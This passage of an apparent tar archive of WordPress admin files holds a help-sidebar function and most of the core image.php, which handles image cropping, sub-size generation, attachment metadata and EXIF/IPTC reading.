			'<p>' . __( '<strong>Settings</strong> &mdash; This page shows a list of all settings associated with this site. Some are created by WordPress and others are created by plugins you activate. Note that some fields are grayed out and say Serialized Data. You cannot modify these values due to the way the setting is stored in the database.' ) . '</p>',
	);
}

/**
 * Returns the content for the help sidebar on the Edit Site screens.
 *
 * @since 4.9.0
 *
 * @return string Help sidebar content.
 */
function get_site_screen_help_sidebar_content() {
	return '<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
		'<p>' . __( '<a href="https://wordpress.org/documentation/article/network-admin-sites-screen/">Documentation on Site Management</a>' ) . '</p>' .
		'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>';
}
image.php000064400000113566150275632050006360 0ustar00<?php
/**
 * File contains all the administration image manipulation functions.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Crops an image to a given size.
 *
 * @since 2.1.0
 *
 * @param string|int   $src      The source file or Attachment ID.
 * @param int          $src_x    The start x position to crop from.
 * @param int          $src_y    The start y position to crop from.
 * @param int          $src_w    The width to crop.
 * @param int          $src_h    The height to crop.
 * @param int          $dst_w    The destination width.
 * @param int          $dst_h    The destination height.
 * @param bool|false   $src_abs  Optional. If the source crop points are absolute.
 * @param string|false $dst_file Optional. The destination file to write to.
 * @return string|WP_Error New filepath on success, WP_Error on failure.
 */
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
	$src_file = $src;
	if ( is_numeric( $src ) ) { // Handle int as attachment ID.
		$src_file = get_attached_file( $src );

		if ( ! file_exists( $src_file ) ) {
			/*
			 * If the file doesn't exist, attempt a URL fopen on the src link.
			 * This can occur with certain file replication plugins.
			 */
			$src = _load_image_to_edit_path( $src, 'full' );
		} else {
			$src = $src_file;
		}
	}

	$editor = wp_get_image_editor( $src );
	if ( is_wp_error( $editor ) ) {
		return $editor;
	}

	$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
	if ( is_wp_error( $src ) ) {
		return $src;
	}

	if ( ! $dst_file ) {
		$dst_file = str_replace( wp_basename( $src_file ), 'cropped-' . wp_basename( $src_file ), $src_file );
	}

	/*
	 * The directory containing the original file may no longer exist when
	 * using a replication plugin.
	 */
	wp_mkdir_p( dirname( $dst_file ) );

	$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), wp_basename( $dst_file ) );

	$result = $editor->save( $dst_file );
	if ( is_wp_error( $result ) ) {
		return $result;
	}

	if ( ! empty( $result['path'] ) ) {
		return $result['path'];
	}

	return $dst_file;
}

/**
 * Compare the existing image sub-sizes (as saved in the attachment meta)
 * to the currently registered image sub-sizes, and return the difference.
 *
 * Registered sub-sizes that are larger than the image are skipped.
 *
 * @since 5.3.0
 *
 * @param int $attachment_id The image attachment post ID.
 * @return array[] Associative array of arrays of image sub-size information for
 *                 missing image sizes, keyed by image size name.
 */
function wp_get_missing_image_subsizes( $attachment_id ) {
	if ( ! wp_attachment_is_image( $attachment_id ) ) {
		return array();
	}

	$registered_sizes = wp_get_registered_image_subsizes();
	$image_meta       = wp_get_attachment_metadata( $attachment_id );

	// Meta error?
	if ( empty( $image_meta ) ) {
		return $registered_sizes;
	}

	// Use the originally uploaded image dimensions as full_width and full_height.
	if ( ! empty( $image_meta['original_image'] ) ) {
		$image_file = wp_get_original_image_path( $attachment_id );
		$imagesize  = wp_getimagesize( $image_file );
	}

	if ( ! empty( $imagesize ) ) {
		$full_width  = $imagesize[0];
		$full_height = $imagesize[1];
	} else {
		$full_width  = (int) $image_meta['width'];
		$full_height = (int) $image_meta['height'];
	}

	$possible_sizes = array();

	// Skip registered sizes that are too large for the uploaded image.
	foreach ( $registered_sizes as $size_name => $size_data ) {
		if ( image_resize_dimensions( $full_width, $full_height, $size_data['width'], $size_data['height'], $size_data['crop'] ) ) {
			$possible_sizes[ $size_name ] = $size_data;
		}
	}

	if ( empty( $image_meta['sizes'] ) ) {
		$image_meta['sizes'] = array();
	}

	/*
	 * Remove sizes that already exist. Only checks for matching "size names".
	 * It is possible that the dimensions for a particular size name have changed.
	 * For example the user has changed the values on the Settings -> Media screen.
	 * However we keep the old sub-sizes with the previous dimensions
	 * as the image may have been used in an older post.
	 */
	$missing_sizes = array_diff_key( $possible_sizes, $image_meta['sizes'] );

	/**
	 * Filters the array of missing image sub-sizes for an uploaded image.
	 *
	 * @since 5.3.0
	 *
	 * @param array[] $missing_sizes Associative array of arrays of image sub-size information for
	 *                               missing image sizes, keyed by image size name.
	 * @param array   $image_meta    The image meta data.
	 * @param int     $attachment_id The image attachment post ID.
	 */
	return apply_filters( 'wp_get_missing_image_subsizes', $missing_sizes, $image_meta, $attachment_id );
}

/**
 * If any of the currently registered image sub-sizes are missing,
 * create them and update the image meta data.
 *
 * @since 5.3.0
 *
 * @param int $attachment_id The image attachment post ID.
 * @return array|WP_Error The updated image meta data array or WP_Error object
 *                        if both the image meta and the attached file are missing.
 */
function wp_update_image_subsizes( $attachment_id ) {
	$image_meta = wp_get_attachment_metadata( $attachment_id );
	$image_file = wp_get_original_image_path( $attachment_id );

	if ( empty( $image_meta ) || ! is_array( $image_meta ) ) {
		/*
		 * Previously failed upload?
		 * If there is an uploaded file, make all sub-sizes and generate all of the attachment meta.
		 */
		if ( ! empty( $image_file ) ) {
			$image_meta = wp_create_image_subsizes( $image_file, $attachment_id );
		} else {
			return new WP_Error( 'invalid_attachment', __( 'The attached file cannot be found.' ) );
		}
	} else {
		$missing_sizes = wp_get_missing_image_subsizes( $attachment_id );

		if ( empty( $missing_sizes ) ) {
			return $image_meta;
		}

		// This also updates the image meta.
		$image_meta = _wp_make_subsizes( $missing_sizes, $image_file, $image_meta, $attachment_id );
	}

	/** This filter is documented in wp-admin/includes/image.php */
	$image_meta = apply_filters( 'wp_generate_attachment_metadata', $image_meta, $attachment_id, 'update' );

	// Save the updated metadata.
	wp_update_attachment_metadata( $attachment_id, $image_meta );

	return $image_meta;
}

/**
 * Updates the attached file and image meta data when the original image was edited.
 *
 * @since 5.3.0
 * @since 6.0.0 The `$filesize` value was added to the returned array.
 * @access private
 *
 * @param array  $saved_data    The data returned from WP_Image_Editor after successfully saving an image.
 * @param string $original_file Path to the original file.
 * @param array  $image_meta    The image meta data.
 * @param int    $attachment_id The attachment post ID.
 * @return array The updated image meta data.
 */
function _wp_image_meta_replace_original( $saved_data, $original_file, $image_meta, $attachment_id ) {
	$new_file = $saved_data['path'];

	// Update the attached file meta.
	update_attached_file( $attachment_id, $new_file );

	// Width and height of the new image.
	$image_meta['width']  = $saved_data['width'];
	$image_meta['height'] = $saved_data['height'];

	// Make the file path relative to the upload dir.
	$image_meta['file'] = _wp_relative_upload_path( $new_file );

	// Add image file size.
	$image_meta['filesize'] = wp_filesize( $new_file );

	// Store the original image file name in image_meta.
	$image_meta['original_image'] = wp_basename( $original_file );

	return $image_meta;
}

/**
 * Creates image sub-sizes, adds the new data to the image meta `sizes` array, and updates the image metadata.
 *
 * Intended for use after an image is uploaded. Saves/updates the image metadata after each
 * sub-size is created. If there was an error, it is added to the returned image metadata array.
 *
 * @since 5.3.0
 *
 * @param string $file          Full path to the image file.
 * @param int    $attachment_id Attachment ID to process.
 * @return array The image attachment meta data.
 */
function wp_create_image_subsizes( $file, $attachment_id ) {
	$imagesize = wp_getimagesize( $file );

	if ( empty( $imagesize ) ) {
		// File is not an image.
		return array();
	}

	// Default image meta.
	$image_meta = array(
		'width'    => $imagesize[0],
		'height'   => $imagesize[1],
		'file'     => _wp_relative_upload_path( $file ),
		'filesize' => wp_filesize( $file ),
		'sizes'    => array(),
	);

	// Fetch additional metadata from EXIF/IPTC.
	$exif_meta = wp_read_image_metadata( $file );

	if ( $exif_meta ) {
		$image_meta['image_meta'] = $exif_meta;
	}

	// Do not scale (large) PNG images. May result in sub-sizes that have greater file size than the original. See #48736.
	if ( 'image/png' !== $imagesize['mime'] ) {

		/**
		 * Filters the "BIG image" threshold value.
		 *
		 * If the original image width or height is above the threshold, it will be scaled down. The threshold is
		 * used as max width and max height. The scaled down image will be used as the largest available size, including
		 * the `_wp_attached_file` post meta value.
		 *
		 * Returning `false` from the filter callback will disable the scaling.
		 *
		 * @since 5.3.0
		 *
		 * @param int    $threshold     The threshold value in pixels. Default 2560.
		 * @param array  $imagesize     {
		 *     Indexed array of the image width and height in pixels.
		 *
		 *     @type int $0 The image width.
		 *     @type int $1 The image height.
		 * }
		 * @param string $file          Full path to the uploaded image file.
		 * @param int    $attachment_id Attachment post ID.
		 */
		$threshold = (int) apply_filters( 'big_image_size_threshold', 2560, $imagesize, $file, $attachment_id );

		/*
		 * If the original image's dimensions are over the threshold,
		 * scale the image and use it as the "full" size.
		 */
		if ( $threshold && ( $image_meta['width'] > $threshold || $image_meta['height'] > $threshold ) ) {
			$editor = wp_get_image_editor( $file );

			if ( is_wp_error( $editor ) ) {
				// This image cannot be edited.
				return $image_meta;
			}

			// Resize the image.
			$resized = $editor->resize( $threshold, $threshold );
			$rotated = null;

			// If there is EXIF data, rotate according to EXIF Orientation.
			if ( ! is_wp_error( $resized ) && is_array( $exif_meta ) ) {
				$resized = $editor->maybe_exif_rotate();
				$rotated = $resized;
			}

			if ( ! is_wp_error( $resized ) ) {
				/*
				 * Append "-scaled" to the image file name. It will look like "my_image-scaled.jpg".
				 * This doesn't affect the sub-sizes names as they are generated from the original image (for best quality).
				 */
				$saved = $editor->save( $editor->generate_filename( 'scaled' ) );

				if ( ! is_wp_error( $saved ) ) {
					$image_meta = _wp_image_meta_replace_original( $saved, $file, $image_meta, $attachment_id );

					// If the image was rotated update the stored EXIF data.
					if ( true === $rotated && ! empty( $image_meta['image_meta']['orientation'] ) ) {
						$image_meta['image_meta']['orientation'] = 1;
					}
				} else {
					// TODO: Log errors.
				}
			} else {
				// TODO: Log errors.
			}
		} elseif ( ! empty( $exif_meta['orientation'] ) && 1 !== (int) $exif_meta['orientation'] ) {
			// Rotate the whole original image if there is EXIF data and "orientation" is not 1.

			$editor = wp_get_image_editor( $file );

			if ( is_wp_error( $editor ) ) {
				// This image cannot be edited.
				return $image_meta;
			}

			// Rotate the image.
			$rotated = $editor->maybe_exif_rotate();

			if ( true === $rotated ) {
				// Append `-rotated` to the image file name.
				$saved = $editor->save( $editor->generate_filename( 'rotated' ) );

				if ( ! is_wp_error( $saved ) ) {
					$image_meta = _wp_image_meta_replace_original( $saved, $file, $image_meta, $attachment_id );

					// Update the stored EXIF data.
					if ( ! empty( $image_meta['image_meta']['orientation'] ) ) {
						$image_meta['image_meta']['orientation'] = 1;
					}
				} else {
					// TODO: Log errors.
				}
			}
		}
	}

	/*
	 * Initial save of the new metadata.
	 * At this point the file was uploaded and moved to the uploads directory
	 * but the image sub-sizes haven't been created yet and the `sizes` array is empty.
	 */
	wp_update_attachment_metadata( $attachment_id, $image_meta );

	$new_sizes = wp_get_registered_image_subsizes();

	/**
	 * Filters the image sizes automatically generated when uploading an image.
	 *
	 * @since 2.9.0
	 * @since 4.4.0 Added the `$image_meta` argument.
	 * @since 5.3.0 Added the `$attachment_id` argument.
	 *
	 * @param array $new_sizes     Associative array of image sizes to be created.
	 * @param array $image_meta    The image meta data: width, height, file, sizes, etc.
	 * @param int   $attachment_id The attachment post ID for the image.
	 */
	$new_sizes = apply_filters( 'intermediate_image_sizes_advanced', $new_sizes, $image_meta, $attachment_id );

	return _wp_make_subsizes( $new_sizes, $file, $image_meta, $attachment_id );
}

/**
 * Low-level function to create image sub-sizes.
 *
 * Updates the image meta after each sub-size is created.
 * Errors are stored in the returned image metadata array.
 *
 * @since 5.3.0
 * @access private
 *
 * @param array  $new_sizes     Array defining what sizes to create.
 * @param string $file          Full path to the image file.
 * @param array  $image_meta    The attachment meta data array.
 * @param int    $attachment_id Attachment ID to process.
 * @return array The attachment meta data with updated `sizes` array. Includes an array of errors encountered while resizing.
 */
function _wp_make_subsizes( $new_sizes, $file, $image_meta, $attachment_id ) {
	if ( empty( $image_meta ) || ! is_array( $image_meta ) ) {
		// Not an image attachment.
		return array();
	}

	// Check if any of the new sizes already exist.
	if ( isset( $image_meta['sizes'] ) && is_array( $image_meta['sizes'] ) ) {
		foreach ( $image_meta['sizes'] as $size_name => $size_meta ) {
			/*
			 * Only checks "size name" so we don't override existing images even if the dimensions
			 * don't match the currently defined size with the same name.
			 * To change the behavior, unset changed/mismatched sizes in the `sizes` array in image meta.
			 */
			if ( array_key_exists( $size_name, $new_sizes ) ) {
				unset( $new_sizes[ $size_name ] );
			}
		}
	} else {
		$image_meta['sizes'] = array();
	}

	if ( empty( $new_sizes ) ) {
		// Nothing to do...
		return $image_meta;
	}

	/*
	 * Sort the image sub-sizes in order of priority when creating them.
	 * This ensures there is an appropriate sub-size the user can access immediately
	 * even when there was an error and not all sub-sizes were created.
	 */
	$priority = array(
		'medium'       => null,
		'large'        => null,
		'thumbnail'    => null,
		'medium_large' => null,
	);

	$new_sizes = array_filter( array_merge( $priority, $new_sizes ) );

	$editor = wp_get_image_editor( $file );

	if ( is_wp_error( $editor ) ) {
		// The image cannot be edited.
		return $image_meta;
	}

	// If stored EXIF data exists, rotate the source image before creating sub-sizes.
	if ( ! empty( $image_meta['image_meta'] ) ) {
		$rotated = $editor->maybe_exif_rotate();

		if ( is_wp_error( $rotated ) ) {
			// TODO: Log errors.
		}
	}

	if ( method_exists( $editor, 'make_subsize' ) ) {
		foreach ( $new_sizes as $new_size_name => $new_size_data ) {
			$new_size_meta = $editor->make_subsize( $new_size_data );

			if ( is_wp_error( $new_size_meta ) ) {
				// TODO: Log errors.
			} else {
				// Save the size meta value.
				$image_meta['sizes'][ $new_size_name ] = $new_size_meta;
				wp_update_attachment_metadata( $attachment_id, $image_meta );
			}
		}
	} else {
		// Fall back to `$editor->multi_resize()`.
		$created_sizes = $editor->multi_resize( $new_sizes );

		if ( ! empty( $created_sizes ) ) {
			$image_meta['sizes'] = array_merge( $image_meta['sizes'], $created_sizes );
			wp_update_attachment_metadata( $attachment_id, $image_meta );
		}
	}

	return $image_meta;
}

/**
 * Generates attachment meta data and create image sub-sizes for images.
 *
 * @since 2.1.0
 * @since 6.0.0 The `$filesize` value was added to the returned array.
 *
 * @param int    $attachment_id Attachment ID to process.
 * @param string $file          Filepath of the attached image.
 * @return array Metadata for attachment.
 */
function wp_generate_attachment_metadata( $attachment_id, $file ) {
	$attachment = get_post( $attachment_id );

	$metadata  = array();
	$support   = false;
	$mime_type = get_post_mime_type( $attachment );

	if ( preg_match( '!^image/!', $mime_type ) && file_is_displayable_image( $file ) ) {
		// Make thumbnails and other intermediate sizes.
		$metadata = wp_create_image_subsizes( $file, $attachment_id );
	} elseif ( wp_attachment_is( 'video', $attachment ) ) {
		$metadata = wp_read_video_metadata( $file );
		$support  = current_theme_supports( 'post-thumbnails', 'attachment:video' ) || post_type_supports( 'attachment:video', 'thumbnail' );
	} elseif ( wp_attachment_is( 'audio', $attachment ) ) {
		$metadata = wp_read_audio_metadata( $file );
		$support  = current_theme_supports( 'post-thumbnails', 'attachment:audio' ) || post_type_supports( 'attachment:audio', 'thumbnail' );
	}

	/*
	 * wp_read_video_metadata() and wp_read_audio_metadata() return `false`
	 * if the attachment does not exist in the local filesystem,
	 * so make sure to convert the value to an array.
	 */
	if ( ! is_array( $metadata ) ) {
		$metadata = array();
	}

	if ( $support && ! empty( $metadata['image']['data'] ) ) {
		// Check for existing cover.
		$hash   = md5( $metadata['image']['data'] );
		$posts  = get_posts(
			array(
				'fields'         => 'ids',
				'post_type'      => 'attachment',
				'post_mime_type' => $metadata['image']['mime'],
				'post_status'    => 'inherit',
				'posts_per_page' => 1,
				'meta_key'       => '_cover_hash',
				'meta_value'     => $hash,
			)
		);
		$exists = reset( $posts );

		if ( ! empty( $exists ) ) {
			update_post_meta( $attachment_id, '_thumbnail_id', $exists );
		} else {
			$ext = '.jpg';
			switch ( $metadata['image']['mime'] ) {
				case 'image/gif':
					$ext = '.gif';
					break;
				case 'image/png':
					$ext = '.png';
					break;
				case 'image/webp':
					$ext = '.webp';
					break;
			}
			$basename = str_replace( '.', '-', wp_basename( $file ) ) . '-image' . $ext;
			$uploaded = wp_upload_bits( $basename, '', $metadata['image']['data'] );
			if ( false === $uploaded['error'] ) {
				$image_attachment = array(
					'post_mime_type' => $metadata['image']['mime'],
					'post_type'      => 'attachment',
					'post_content'   => '',
				);
				/**
				 * Filters the parameters for the attachment thumbnail creation.
				 *
				 * @since 3.9.0
				 *
				 * @param array $image_attachment An array of parameters to create the thumbnail.
				 * @param array $metadata         Current attachment metadata.
				 * @param array $uploaded         {
				 *     Information about the newly-uploaded file.
				 *
				 *     @type string $file  Filename of the newly-uploaded file.
				 *     @type string $url   URL of the uploaded file.
				 *     @type string $type  File type.
				 * }
				 */
				$image_attachment = apply_filters( 'attachment_thumbnail_args', $image_attachment, $metadata, $uploaded );

				$sub_attachment_id = wp_insert_attachment( $image_attachment, $uploaded['file'] );
				add_post_meta( $sub_attachment_id, '_cover_hash', $hash );
				$attach_data = wp_generate_attachment_metadata( $sub_attachment_id, $uploaded['file'] );
				wp_update_attachment_metadata( $sub_attachment_id, $attach_data );
				update_post_meta( $attachment_id, '_thumbnail_id', $sub_attachment_id );
			}
		}
	} elseif ( 'application/pdf' === $mime_type ) {
		// Try to create image thumbnails for PDFs.

		$fallback_sizes = array(
			'thumbnail',
			'medium',
			'large',
		);

		/**
		 * Filters the image sizes generated for non-image mime types.
		 *
		 * @since 4.7.0
		 *
		 * @param string[] $fallback_sizes An array of image size names.
		 * @param array    $metadata       Current attachment metadata.
		 */
		$fallback_sizes = apply_filters( 'fallback_intermediate_image_sizes', $fallback_sizes, $metadata );

		$registered_sizes = wp_get_registered_image_subsizes();
		$merged_sizes     = array_intersect_key( $registered_sizes, array_flip( $fallback_sizes ) );

		// Force thumbnails to be soft crops.
		if ( isset( $merged_sizes['thumbnail'] ) && is_array( $merged_sizes['thumbnail'] ) ) {
			$merged_sizes['thumbnail']['crop'] = false;
		}

		// Only load PDFs in an image editor if we're processing sizes.
		if ( ! empty( $merged_sizes ) ) {
			$editor = wp_get_image_editor( $file );

			if ( ! is_wp_error( $editor ) ) { // No support for this type of file.
				/*
				 * PDFs may have the same file filename as JPEGs.
				 * Ensure the PDF preview image does not overwrite any JPEG images that already exist.
				 */
				$dirname      = dirname( $file ) . '/';
				$ext          = '.' . pathinfo( $file, PATHINFO_EXTENSION );
				$preview_file = $dirname . wp_unique_filename( $dirname, wp_basename( $file, $ext ) . '-pdf.jpg' );

				$uploaded = $editor->save( $preview_file, 'image/jpeg' );
				unset( $editor );

				// Resize based on the full size image, rather than the source.
				if ( ! is_wp_error( $uploaded ) ) {
					$image_file = $uploaded['path'];
					unset( $uploaded['path'] );

					$metadata['sizes'] = array(
						'full' => $uploaded,
					);

					// Save the meta data before any image post-processing errors could happen.
					wp_update_attachment_metadata( $attachment_id, $metadata );

					// Create sub-sizes saving the image meta after each.
					$metadata = _wp_make_subsizes( $merged_sizes, $image_file, $metadata, $attachment_id );
				}
			}
		}
	}

	// Remove the blob of binary data from the array.
	unset( $metadata['image']['data'] );

	// Capture file size for cases where it has not been captured yet, such as PDFs.
	if ( ! isset( $metadata['filesize'] ) && file_exists( $file ) ) {
		$metadata['filesize'] = wp_filesize( $file );
	}

	/**
	 * Filters the generated attachment meta data.
	 *
	 * @since 2.1.0
	 * @since 5.3.0 The `$context` parameter was added.
	 *
	 * @param array  $metadata      An array of attachment meta data.
	 * @param int    $attachment_id Current attachment ID.
	 * @param string $context       Additional context. Can be 'create' when metadata was initially created for new attachment
	 *                              or 'update' when the metadata was updated.
	 */
	return apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id, 'create' );
}

/**
 * Converts a fraction string to a decimal.
 *
 * @since 2.5.0
 *
 * @param string $str Fraction string.
 * @return int|float Returns calculated fraction or integer 0 on invalid input.
 */
function wp_exif_frac2dec( $str ) {
	if ( ! is_scalar( $str ) || is_bool( $str ) ) {
		return 0;
	}

	if ( ! is_string( $str ) ) {
		return $str; // This can only be an integer or float, so this is fine.
	}

	// Fractions passed as a string must contain a single `/`.
	if ( substr_count( $str, '/' ) !== 1 ) {
		if ( is_numeric( $str ) ) {
			return (float) $str;
		}

		return 0;
	}

	list( $numerator, $denominator ) = explode( '/', $str );

	// Both the numerator and the denominator must be numbers.
	if ( ! is_numeric( $numerator ) || ! is_numeric( $denominator ) ) {
		return 0;
	}

	// The denominator must not be zero.
	if ( 0 == $denominator ) { // phpcs:ignore Universal.Operators.StrictComparisons.LooseEqual -- Deliberate loose comparison.
		return 0;
	}

	return $numerator / $denominator;
}

/**
 * Converts the exif date format to a unix timestamp.
 *
 * @since 2.5.0
 *
 * @param string $str A date string expected to be in Exif format (Y:m:d H:i:s).
 * @return int|false The unix timestamp, or false on failure.
 */
function wp_exif_date2ts( $str ) {
	list( $date, $time ) = explode( ' ', trim( $str ) );
	list( $y, $m, $d )   = explode( ':', $date );

	return strtotime( "{$y}-{$m}-{$d} {$time}" );
}

/**
 * Gets extended image metadata, exif or iptc as available.
 *
 * Retrieves the EXIF metadata aperture, credit, camera, caption, copyright, iso
 * created_timestamp, focal_length, shutter_speed, and title.
 *
 * The IPTC metadata that is retrieved is APP13, credit, byline, created date
 * and time, caption, copyright, and title. Also includes FNumber, Model,
 * DateTimeDigitized, FocalLength, ISOSpeedRatings, and ExposureTime.
 *
 * @todo Try other exif libraries if available.
 * @since 2.5.0
 *
 * @param string $file
 * @return array|false Image metadata array on success, false on failure.
 */
function wp_read_image_metadata( $file ) {
	if ( ! file_exists( $file ) ) {
		return false;
	}

	list( , , $image_type ) = wp_getimagesize( $file );

	/*
	 * EXIF contains a bunch of data we'll probably never need formatted in ways
	 * that are difficult to use. We'll normalize it and just extract the fields
	 * that are likely to be useful. Fractions and numbers are converted to
	 * floats, dates to unix timestamps, and everything else to strings.
	 */
	$meta = array(
		'aperture'          => 0,
		'credit'            => '',
		'camera'            => '',
		'caption'           => '',
		'created_timestamp' => 0,
		'copyright'         => '',
		'focal_length'      => 0,
		'iso'               => 0,
		'shutter_speed'     => 0,
		'title'             => '',
		'orientation'       => 0,
		'keywords'          => array(),
	);

	$iptc = array();
	$info = array();
	/*
	 * Read IPTC first, since it might contain data not available in exif such
	 * as caption, description etc.
	 */
	if ( is_callable( 'iptcparse' ) ) {
		wp_getimagesize( $file, $info );

		if ( ! empty( $info['APP13'] ) ) {
			// Don't silence errors when in debug mode, unless running unit tests.
			if ( defined( 'WP_DEBUG' ) && WP_DEBUG
				&& ! defined( 'WP_RUN_CORE_TESTS' )
			) {
				$iptc = iptcparse( $info['APP13'] );
			} else {
				// Silencing notice and warning is intentional. See https://core.trac.wordpress.org/ticket/42480
				$iptc = @iptcparse( $info['APP13'] );
			}

			if ( ! is_array( $iptc ) ) {
				$iptc = array();
			}

			// Headline, "A brief synopsis of the caption".
			if ( ! empty( $iptc['2#105'][0] ) ) {
				$meta['title'] = trim( $iptc['2#105'][0] );
				/*
				* Title, "Many use the Title field to store the filename of the image,
				* though the field may be used in many ways".
				*/
			} elseif ( ! empty( $iptc['2#005'][0] ) ) {
				$meta['title'] = trim( $iptc['2#005'][0] );
			}

			if ( ! empty( $iptc['2#120'][0] ) ) { // Description / legacy caption.
				$caption = trim( $iptc['2#120'][0] );

				mbstring_binary_safe_encoding();
				$caption_length = strlen( $caption );
				reset_mbstring_encoding();

				if ( empty( $meta['title'] ) && $caption_length < 80 ) {
					// Assume the title is stored in 2:120 if it's short.
					$meta['title'] = $caption;
				}

				$meta['caption'] = $caption;
			}

			if ( ! empty( $iptc['2#110'][0] ) ) { // Credit.
				$meta['credit'] = trim( $iptc['2#110'][0] );
			} elseif ( ! empty( $iptc['2#080'][0] ) ) { // Creator / legacy byline.
				$meta['credit'] = trim( $iptc['2#080'][0] );
			}

			if ( ! empty( $iptc['2#055'][0] ) && ! empty( $iptc['2#060'][0] ) ) { // Created date and time.
				$meta['created_timestamp'] = strtotime( $iptc['2#055'][0] . ' ' . $iptc['2#060'][0] );
			}

			if ( ! empty( $iptc['2#116'][0] ) ) { // Copyright.
				$meta['copyright'] = trim( $iptc['2#116'][0] );
			}

			if ( ! empty( $iptc['2#025'][0] ) ) { // Keywords array.
				$meta['keywords'] = array_values( $iptc['2#025'] );
			}
		}
	}

	$exif = array();

	/**
	 * Filters the image types to check for exif data.
	 *
	 * @since 2.5.0
	 *
	 * @param int[] $image_types Array of image types to check for exif data. Each value
	 *                           is usually one of the `IMAGETYPE_*` constants.
	 */
	$exif_image_types = apply_filters( 'wp_read_image_metadata_types', array( IMAGETYPE_JPEG, IMAGETYPE_TIFF_II, IMAGETYPE_TIFF_MM ) );

	if ( is_callable( 'exif_read_data' ) && in_array( $image_type, $exif_image_types, true ) ) {
		// Don't silence errors when in debug mode, unless running unit tests.
		if ( defined( 'WP_DEBUG' ) && WP_DEBUG
			&& ! defined( 'WP_RUN_CORE_TESTS' )
		) {
			$exif = exif_read_data( $file );
		} else {
			// Silencing notice and warning is intentional. See https://core.trac.wordpress.org/ticket/42480
			$exif = @exif_read_data( $file );
		}

		if ( ! is_array( $exif ) ) {
			$exif = array();
		}

		if ( ! empty( $exif['ImageDescription'] ) ) {
			mbstring_binary_safe_encoding();
			$description_length = strlen( $exif['ImageDescription'] );
			reset_mbstring_encoding();

			if ( empty( $meta['title'] ) && $description_length < 80 ) {
				// Assume the title is stored in ImageDescription.
				$meta['title'] = trim( $exif['ImageDescription'] );
			}

			if ( empty( $meta['caption'] ) && ! empty( $exif['COMPUTED']['UserComment'] ) ) {
				$meta['caption'] = trim( $exif['COMPUTED']['UserComment'] );
			}

			if ( empty( $meta['caption'] ) ) {
				$meta['caption'] = trim( $exif['ImageDescription'] );
			}
		} elseif ( empty( $meta['caption'] ) && ! empty( $exif['Comments'] ) ) {
			$meta['caption'] = trim( $exif['Comments'] );
		}

		if ( empty( $meta['credit'] ) ) {
			if ( ! empty( $exif['Artist'] ) ) {
				$meta['credit'] = trim( $exif['Artist'] );
			} elseif ( ! empty( $exif['Author'] ) ) {
				$meta['credit'] = trim( $exif['Author'] );
			}
		}

		if ( empty( $meta['copyright'] ) && ! empty( $exif['Copyright'] ) ) {
			$meta['copyright'] = trim( $exif['Copyright'] );
		}
		if ( ! empty( $exif['FNumber'] ) && is_scalar( $exif['FNumber'] ) ) {
			$meta['aperture'] = round( wp_exif_frac2dec( $exif['FNumber'] ), 2 );
		}
		if ( ! empty( $exif['Model'] ) ) {
			$meta['camera'] = trim( $exif['Model'] );
		}
		if ( empty( $meta['created_timestamp'] ) && ! empty( $exif['DateTimeDigitized'] ) ) {
			$meta['created_timestamp'] = wp_exif_date2ts( $exif['DateTimeDigitized'] );
		}
		if ( ! empty( $exif['FocalLength'] ) ) {
			$meta['focal_length'] = (string) $exif['FocalLength'];
			if ( is_scalar( $exif['FocalLength'] ) ) {
				$meta['focal_length'] = (string) wp_exif_frac2dec( $exif['FocalLength'] );
			}
		}
		if ( ! empty( $exif['ISOSpeedRatings'] ) ) {
			$meta['iso'] = is_array( $exif['ISOSpeedRatings'] ) ? reset( $exif['ISOSpeedRatings'] ) : $exif['ISOSpeedRatings'];
			$meta['iso'] = trim( $meta['iso'] );
		}
		if ( ! empty( $exif['ExposureTime'] ) ) {
			$meta['shutter_speed'] = (string) $exif['ExposureTime'];
			if ( is_scalar( $exif['ExposureTime'] ) ) {
				$meta['shutter_speed'] = (string) wp_exif_frac2dec( $exif['ExposureTime'] );
			}
		}
		if ( ! empty( $exif['Orientation'] ) ) {
			$meta['orientation'] = $exif['Orientation'];
		}
	}

	foreach ( array( 'title', 'caption', 'credit', 'copyright', 'camera', 'iso' ) as $key ) {
		if ( $meta[ $key ] && ! seems_utf8( $meta[ $key ] ) ) {
			$meta[ $key ] = utf8_encode( $meta[ $key ] );
		}
	}

	foreach ( $meta['keywords'] as $key => $keyword ) {
		if ( ! seems_utf8( $keyword ) ) {
			$meta['keywords'][ $key ] = utf8_encode( $keyword );
		}
	}

	$meta = wp_kses_post_deep( $meta );

	/**
	 * Filters the array of meta data read from an image's exif data.
	 *
	 * @since 2.5.0
	 * @since 4.4.0 The `$iptc` parameter was added.
	 * @since 5.0.0 The `$exif` parameter was added.
	 *
	 * @param array  $meta       Image meta data.
	 * @param string $file       Path to image file.
	 * @param int    $image_type Type of image, one of the `IMAGETYPE_XXX` constants.
	 * @param array  $iptc       IPTC data.
	 * @param array  $exif       EXIF data.
	 */
	return apply_filters( 'wp_read_image_metadata', $meta, $file, $image_type, $iptc, $exif );
}

/**
 * Validates that file is an image.
 *
 * @since 2.5.0
 *
 * @param string $path File path to test if valid image.
 * @return bool True if valid image, false if not valid image.
 */
function file_is_valid_image( $path ) {
	$size = wp_getimagesize( $path );
	return ! empty( $size );
}

/**
 * Validates that file is suitable for displaying within a web page.
 *
 * @since 2.5.0
 *
 * @param string $path File path to test.
 * @return bool True if suitable, false if not suitable.
 */
function file_is_displayable_image( $path ) {
	$displayable_image_types = array( IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_BMP, IMAGETYPE_ICO, IMAGETYPE_WEBP );

	$info = wp_getimagesize( $path );
	if ( empty( $info ) ) {
		$result = false;
	} elseif ( ! in_array( $info[2], $displayable_image_types, true ) ) {
		$result = false;
	} else {
		$result = true;
	}

	/**
	 * Filters whether the current image is displayable in the browser.
	 *
	 * @since 2.5.0
	 *
	 * @param bool   $result Whether the image can be displayed. Default true.
	 * @param string $path   Path to the image.
	 */
	return apply_filters( 'file_is_displayable_image', $result, $path );
}

/**
 * Loads an image resource for editing.
 *
 * @since 2.9.0
 *
 * @param int          $attachment_id Attachment ID.
